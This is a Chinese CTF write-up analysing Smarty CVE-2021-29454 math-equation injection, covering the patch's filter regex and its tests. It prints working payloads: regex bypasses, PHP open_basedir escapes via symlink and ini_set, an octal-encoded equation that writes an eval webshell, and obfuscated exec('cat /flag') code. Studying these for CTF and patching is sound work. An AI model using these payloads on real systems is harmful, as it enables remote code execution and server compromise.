CVE-2021-29454——Smarty模板注入

漏洞报告

Smarty 是 PHP 的模板引擎，有助于将表示 (HTML/CSS) 与应用程序逻辑分离。在 3.1.42 和 4.0.2 版本之前，模板作者可以通过制作恶意数学字符串来运行任意 PHP 代码。如果数学字符串作为用户提供的数据传递给数学函数，则外部用户可以通过制作恶意数学字符串来运行任意 PHP 代码。用户应升级到版本 3.1.42 或 4.0.2 以接收补丁。

源码分析

对比官方修复的代码，在/plugins/function.math.php添加了如下一段

// Remove whitespaces
    $equation = preg_replace('/\s+/', '', $equation);

    // Adapted from https://www.php.net/manual/en/function.eval.php#107377
    $number = '(?:\d+(?:[,.]\d+)?|pi|π)'; // What is a number
    $functionsOrVars = '((?:0x[a-fA-F0-9]+)|([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*))';
    $operators = '[+\/*\^%-]'; // Allowed math operators
    $regexp = '/^(('.$number.'|'.$functionsOrVars.'|('.$functionsOrVars.'\s*\((?1)+\)|\((?1)+\)))(?:'.$operators.'(?2))?)+$/';

    if (!preg_match($regexp, $equation)) {
        trigger_error("math: illegal characters", E_USER_WARNING);
        return;
    }

对恶意拼接的数学字符串进行过滤（漏洞利用POC格式其实也在这里写出来了，参考$regexp）

而在较低版本下，缺少过滤部分，进而导致RCE
具体的POC我会在下面利用部分详写的

并且，在tests/UnitTests/TemplateSource/ValueTests/Math/MathTest.php中，也有添加

/**
     * @expectedException PHPUnit_Framework_Error_Warning
     */
    public function testBackticksIllegal()
    {
        $expected = "22.00";
        $tpl = $this->smarty->createTemplate('eval:{$x = "4"}{$y = "5.5"}{math equation="`ls` x * y" x=$x y=$y}');
        $this->assertEquals($expected, $this->smarty->fetch($tpl));
    }

    /**
     * @expectedException PHPUnit_Framework_Error_Warning
     */
    public function testDollarSignsIllegal()
    {
        $expected = "22.00";
        $tpl = $this->smarty->createTemplate('eval:{$x = "4"}{$y = "5.5"}{math equation="$" x=$x y=$y}');
        $this->assertEquals($expected, $this->smarty->fetch($tpl));
    }

    /**
     * @expectedException PHPUnit_Framework_Error_Warning
     */
    public function testBracketsIllegal()
    {
        $expected = "I";
        $tpl = $this->smarty->createTemplate('eval:{$x = "0"}{$y = "1"}{math equation="((y/x).(x))[x]" x=$x y=$y}');
        $this->assertEquals($expected, $this->smarty->fetch($tpl));
    }

漏洞利用实例——红明谷 2022 | Smarty calculator

考点

Smarty3.1.39 模板注入（CVE-2021-29454）
Bypass open_basedir
Bypass disable_functions

过程详解

看到Smarty，联系题目描述就明白这是Smarty模板注入，但是出题人修改了模板规则（真滴苟啊）。

一般情况下输入{$smarty.version}，就可以看到返回的Smarty当前版本号，此题版本是3.1.39。

扫一下网站，发现存在源码泄露，访问www.zip即可下载，打开分析。

index.php

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Smarty calculator</title>
</head>
<body background="img/1.jpg">
<div align="center">
    <h1>Smarty calculator</h1>
</div>
<div style="width:100%;text-align:center">
    <form action="" method="POST">
        <input type="text" style="width:150px;height:30px" name="data" placeholder="      输入值进行计算" value="">
        <br>
        <input type="submit" value="Submit">
    </form>
</div>
</body>
</html>
<?php
error_reporting(0);
include_once('./Smarty/Smarty.class.php');
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->php_modifiers = null;
$my_security_policy->static_classes = null;
$my_security_policy->allow_super_globals = false;
$my_security_policy->allow_constants = false;
$my_security_policy->allow_php_tag = false;
$my_security_policy->streams = null;
$my_security_policy->php_modifiers = null;
$smarty->enableSecurity($my_security_policy);

function waf($data){
  $pattern = "php|\<|flag|\?";
  $vpattern = explode("|", $pattern);
  foreach ($vpattern as $value) {
        if (preg_match("/$value/", $data)) {
          echo("<div style='width:100%;text-align:center'><h5>Calculator don  not like U<h5><br>");
          die();
        }
    }
    return $data;
}

if(isset($_POST['data'])){
  if(isset($_COOKIE['login'])) {
      $data = waf($_POST['data']);
      echo "<div style='width:100%;text-align:center'><h5>Only smarty people can use calculators:<h5><br>";
      $smarty->display("string:" . $data);
  }else{
      echo "<script>alert(\"你还没有登录\")</script>";
  }
}

在index.php中定义了waf函数，会检测$data中是否含有php < flag字样，这个还是蛮好绕的。

还会检测cookie中login是否存在且值不为零，只要在cookie上添加就好。

剩下的太多了。。。所以我筛选了一下，发现出题人应该只修改过3个文件。

用Beyond Compare对比一下官方模板，发现了出题人重点修改的地方就是正则匹配。

在CVE-2021-29454，有关Smarty的安全问题上，也有提到

阻止$smarty.template_object在沙盒模式下访问
修复了通过使用非法函数名的代码注入漏洞{function name='blah'}{/function}

if (preg_match('/[a-zA-Z0-9_\x80-\xff](.*)+$/', $_name)) {
    $compiler->trigger_template_error("Function name contains invalid characters: {$_name}", null, true);
}

那么接下来，请欣赏各种优雅的过正则姿势

姿势一

在正则处打下断点进行测试，

发现可以通过换行绕过正则

设置完cookie后，url编码一下，POST传参，poc执行成功

但是不能直接cat /flag，有disable_functions以及open_basedir，绕过open_basedir的方法可太多了，我之前写了一篇文章你的open_basedir安全吗？ - 先知社区 (aliyun.com)

syslink() php 4/5/7/8

symlink(string $target, string $link): bool

原理是创建一个链接文件 aaa 用相对路径指向 A/B/C/D，再创建一个链接文件 abc 指向 aaa/../../../../etc/passwd，其实就是指向了 A/B/C/D/../../../../etc/passwd，也就是/etc/passwd。这时候删除 aaa 文件再创建 aaa 目录但是 abc 还是指向了 aaa 也就是 A/B/C/D/../../../../etc/passwd，就进入了路径/etc/passwd payload 构造的注意点就是：要读的文件需要往前跨多少路径，就得创建多少层的子目录，然后输入多少个../来设置目标文件。

<?php
highlight_file(__FILE__);
mkdir("A");//创建目录
chdir("A");//切换目录
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("A/B/C/D","aaa");
symlink("aaa/../../../../etc/passwd","abc");
unlink("aaa");
mkdir("aaa");
?>

ini_set()

ini_set()用来设置php.ini的值，在函数执行的时候生效，脚本结束后，设置失效。无需打开php.ini文件，就能修改配置。函数用法如下:

ini_set ( string $varname , string $newvalue ) : string

POC

<?php
highlight_file(__FILE__);
mkdir('Andy');  //创建目录
chdir('Andy');  //切换目录
ini_set('open_basedir','..');  //把open_basedir切换到上层目录
chdir('..');  //切换到根目录
chdir('..');
chdir('..');
ini_set('open_basedir','/');  //设置open_basedir为根目录
echo file_get_contents('/etc/passwd');  //读取/etc/passwd

姿势二

其实这个正则并不难，我们可以直接利用八进制数，然后借用Smarty的math equation，直接写入一句话shell，Antsword连接就好。

payload：

eval:{$x="42"}{math equation="(\"\\146\\151\\154\\145\\137\\160\\165\\164\\137\\143\\157\\156\\164\\145\\156\\164\\163\")(\"\\141\\56\\160\\150\\160\",\"\\74\\77\\160\\150\\160\\40\\145\\166\\141\\154\\50\\44\\137\\122\\105\\121\\125\\105\\123\\124\\133\\47\\120\\141\\143\\153\\47\\135\\51\\73\\77\\76\")"}

然后蚁剑连接，在根目录下得到flag

姿势三

既然我们能利用函数名了，那么我们也可以用一些数学函数执行命令，我当时用就是这一种（其实是另外两种没想到，嘿嘿嘿）

<?php
highlight_file(__FILE__);
//error_reporting(0);
include_once('./Smarty/Smarty.class.php');
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->php_modifiers = null;
$my_security_policy->static_classes = null;
$my_security_policy->allow_super_globals = false;
$my_security_policy->allow_constants = false;
$my_security_policy->allow_php_tag = false;
$my_security_policy->streams = null;
$my_security_policy->php_modifiers = null;
$smarty->enableSecurity($my_security_policy);
//$smarty->display("string:" . '{math equation="p;(\'exp\'[0].\'exp\'[1].\'exp\'[0].\'cos\'[0])(\'cos\'[0].\'abs\'[0].\'tan\'[0].\'floor\'[0].\'floor\'[1].\'abs\'[0].\'log\'[2]);" p=1 }');
$smarty->display("string:" . '{math equation="p;(\'exp\'[0].\'exp\'[1].\'exp\'[0].\'cos\'[0])(\'cos\'[0].\'abs\'[0].\'tan\'[0].\' ./\'.\'floor\'[0].\'floor\'[1].\'abs\'[0].\'log\'[2].\'>1\');" p="1" }');
//exec('cat /flag')>1
?>

将执行结果写入1文件，同样，因为有disable_functions以及open_basedir，所以执行会不成功吗，重复姿势一，就能绕过。